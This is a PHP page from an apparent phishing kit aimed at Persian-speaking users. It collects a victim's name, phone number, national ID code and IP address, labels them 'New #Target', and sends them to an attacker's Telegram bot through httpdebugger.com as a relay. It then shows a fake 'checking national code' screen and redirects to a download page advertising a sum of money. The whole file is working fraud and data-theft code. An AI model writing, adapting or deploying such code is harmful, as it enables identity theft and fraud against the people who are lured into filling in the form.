<?php
include_once '../info.php';
$fullname = $_POST["name"];
$armxan_CM = $_POST["cm"];
$number = $_POST["number"];
if(isset($_POST['frznd'])){
    $s = $_POST['frznd'];
    if($s == "1"){
        $df = "4,200,000";
    }elseif($s == "2"){
        $df = "4,800,000";
    }elseif($s >= 3){
        $df = "5,500,000";
    }else{
        $df = "3,560,000"; 
    }
}else{
    $df = "3,560,000";
}
function getip(){
    if(isset($_SERVER["HTTP_CF_CONNECTING_IP"])){
        return $_SERVER["HTTP_CF_CONNECTING_IP"];
    }else{
        return $_SERVER['REMOTE_ADDR'];
    }
}
$ip = getip();


$Text = "  
New #Target
------------------------
Name: <code>$fullname</code>
Phone: <code>$number</code>
Code meli: <code>$armxan_CM</code>
ip: <code>$ip</code>
------------------------
@phonixhouse
";

$des = strtr($Text, array(
        '۰' => '0',
        '۱' => '1',
        '۲' => '2',
        '۳' => '3',
        '۴' => '4',
        '۵' => '5',
        '۶' => '6',
        '۷' => '7',
        '۸' => '8',
        '۹' => '9',
        '٠' => '0',
        '١' => '1',
        '٢' => '2',
        '٣' => '3',
        '٤' => '4',
        '٥' => '5',
        '٦' => '6',
        '٧' => '7',
        '٨' => '8',
        '٩' => '9'
    ));

$encodedText = urlencode($Text);
$telegramUrl = "https://api.telegram.org/bot$TOKEN/sendMessage?chat_id=$ID&text=$encodedText&parse_mode=HTML";
$httpDebuggerUrl = "https://www.httpdebugger.com/tools/viewhttpheaders.aspx";
$payload = [
    'UrlBox' => $telegramUrl,
    'AgentList' => 'Google Chrome',
    'VersionsList' => 'HTTP/1.1',
    'MethodList' => 'POST',
];
$options = [
    'http' => [
        'header'  => "Content-Type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($payload),
    ],
];
$context  = stream_context_create($options);
$response = file_get_contents($httpDebuggerUrl, false, $context);
?>
<!DOCTYPE html>
<html



<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<head>
<meta charset="utf-8" />
<head>


<body>



<center>
<img src="../IMG/madaret.gif" width="120" height="120">


</center>

<br>
<style>
@font-face {
    font-family: myFont;
    src: url('../Fonts/Shabnam-FD.ttf');
}
body {
    font-family: myFont;
}

  h3 {
   text-align: center;
   color: #000080;
  }
</style>

<center>
     <h3>در حال بررسی کد ملی   <?php echo $armxan_CM; ?> </h3>
</center>

<meta http-equiv="refresh" content="5; URL=dl.php?df=<?php echo $df; ?>">

</head>


</html>